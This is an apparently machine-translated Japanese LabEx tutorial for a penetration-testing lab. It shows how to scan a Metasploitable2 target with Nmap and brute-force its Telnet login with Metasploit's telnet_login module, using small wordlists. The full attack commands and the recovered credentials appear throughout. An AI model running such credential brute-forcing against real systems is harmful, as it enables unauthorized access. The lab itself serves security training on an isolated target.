Metasploit を使用した Telnet サービス脆弱性の悪用

NmapNmapBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、テルネットサービスの脆弱性を悪用して浸透攻撃を行う方法を学びます。シナリオとして、攻撃マシンとして Kali Linux マシンを、対象マシンとして Metasploitable2 仮想マシンを使用します。目的は、対象マシンを脆弱性スキャンし、テルネットサービスの脆弱性を特定し、Metasploit Framework を使ってそれを悪用することです。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) wireshark(("Wireshark")) -.-> wireshark/WiresharkGroup(["Wireshark"]) hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/timing_performance("Timing and Performance") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") nmap/NmapGroup -.-> nmap/scripting_basics("Scripting Engine Basics") wireshark/WiresharkGroup -.-> wireshark/commandline_usage("Command Line Usage") hydra/HydraGroup -.-> hydra/installation("Installation and Setup") subgraph Lab Skills nmap/installation -.-> lab-416133{{"Metasploit を使用した Telnet サービス脆弱性の悪用"}} nmap/port_scanning -.-> lab-416133{{"Metasploit を使用した Telnet サービス脆弱性の悪用"}} nmap/host_discovery -.-> lab-416133{{"Metasploit を使用した Telnet サービス脆弱性の悪用"}} nmap/target_specification -.-> lab-416133{{"Metasploit を使用した Telnet サービス脆弱性の悪用"}} nmap/timing_performance -.-> lab-416133{{"Metasploit を使用した Telnet サービス脆弱性の悪用"}} nmap/service_detection -.-> lab-416133{{"Metasploit を使用した Telnet サービス脆弱性の悪用"}} nmap/scripting_basics -.-> lab-416133{{"Metasploit を使用した Telnet サービス脆弱性の悪用"}} wireshark/commandline_usage -.-> lab-416133{{"Metasploit を使用した Telnet サービス脆弱性の悪用"}} hydra/installation -.-> lab-416133{{"Metasploit を使用した Telnet サービス脆弱性の悪用"}} end

実験環境を起動する

このステップでは、Kali Linux コンテナと Metasploitable2 仮想マシンを含む実験環境を起動します。

  1. LabEx ホストマシン上で xfce ターミナルを開き、次のコマンドを実行して Metasploitable2 対象を起動します。
sudo virsh start Metasploitable2

対象マシンが起動するのを待ちます。1~3 分かかる場合があります。

  1. 対象マシンへの接続性を ping コマンドでテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

  1. Kali Linux コンテナを起動し、次のコマンドを実行して bash 環境に入ります。
docker run -ti --network host b5b709a49cd5 bash
  1. Kali コンテナ内で、対象マシンへのネットワーク接続をテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

これで攻撃マシンと対象マシンの両方が起動しており、浸透テストを開始できます。

: 現在の bash を誤って終了した場合、Kali コンテナは自動的に停止します。ホスト上で再度 docker run -ti --network host b5b709a49cd5 bash を実行して新しい Kali コンテナを起動し、bash に入って実験を続けることができます。

脆弱性スキャンを実行する

このステップでは、Nmap を使って対象マシンのオープンポートとサービスをスキャンします。

まず、PostgreSQL データベースを起動します。Metasploit はデータ保存にこれが必要です。

service postgresql start
msfdb init
cd ~
msfconsole

Metasploit コンソール内で、対象マシンに対して Nmap スキャンを実行します。

nmap -sV -T4 192.168.122.102

-sV オプションはオープンポートをスキャンし、詳細なポート情報を表示します。一方、-T4 はスキャンタイミングポリシーを設定します (0 - 5、値が高いほど速くなりますが、ノイジーになります)。

スキャン結果を分析する

このステップでは、Nmap のスキャン結果を分析して、脆弱なテルネットサービスを特定します。

Nmap のスキャン出力によると、テルネットサービスはポート 23 で「Linux telnetd」のバナー付きで稼働しています。対応する Metasploit モジュールを検索しましょう。

search scanner/telnet

auxiliary/scanner/telnet/telnet_login モジュールを使用します。

use auxiliary/scanner/telnet/telnet_login

モジュールオプションを表示します。

show options

必要なオプションは RHOSTS で、これは対象ホストを指定します。

Metasploit コンソールを終了するには Ctrl+D を押してから、検査を開始します

ユーザー名とパスワード辞書を準備する

このステップでは、ログインブルートフォース攻撃用のユーザー名とパスワード辞書ファイルを準備します。

新しいターミナルを開き、Kali コンテナに接続します。

docker run -ti --network host b5b709a49cd5 bash

/ ディレクトリに username.txt というファイルを作成し、次のユーザー名を記載します。

123456
admin
msfadmin
root
kali

/ ディレクトリにもう 1 つの password.txt というファイルを作成し、次のパスワードを記載します。

abc123
1234
123456
root
msfadmin
admin
toor

これらのファイルは、ブルートフォース攻撃用のユーザー名とパスワード辞書として使用されます。

Metasploit モジュールを設定する

このステップでは、Metasploit モジュールを対象ホスト、ユーザー名辞書、およびパスワード辞書で設定します。

まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動する必要があります。

cd ~
msfconsole

auxiliary/scanner/telnet/telnet_login モジュールを使用します。

use auxiliary/scanner/telnet/telnet_login

対象ホストを設定します。

set RHOSTS 192.168.122.102

ユーザー名辞書ファイルを設定します。

set USER_FILE /username.txt

パスワード辞書ファイルを設定します。

set PASS_FILE /password.txt

最後に、攻撃を実行します。

exploit

Metasploit は提供された辞書から異なるユーザー名とパスワードの組み合わせを試し始めます。有効な資格情報が見つかると、緑色で表示されます。

この場合、有効な資格情報は msfadmin/msfadmin です。

Metasploit コンソールを終了するには Ctrl+D を押してから、検査を開始します

まとめ

この実験では、Metasploit Framework を使ってテルネットサービスの脆弱性を悪用する方法を学びました。まず、Kali Linux 攻撃マシンと Metasploitable2 対象マシンを使って実験環境をセットアップしました。次に、Nmap を使って脆弱性スキャンを行い、オープンなテルネットサービスを特定しました。次に、ユーザー名とパスワードの辞書を準備し、対象ホストと辞書ファイルで Metasploit モジュールを設定しました。最後に、攻撃を実行し、テルネットのログイン資格情報を成功裏にブルートフォースしました。

この実験は、浸透テスト、脆弱性スキャン、および脆弱性の悪用に Metasploit Framework を利用する実践的な経験を提供しました。また、安全なパスワードの慣行の重要性と、脆弱または容易に推測できる資格情報を使用する潜在的なリスクを強調しました。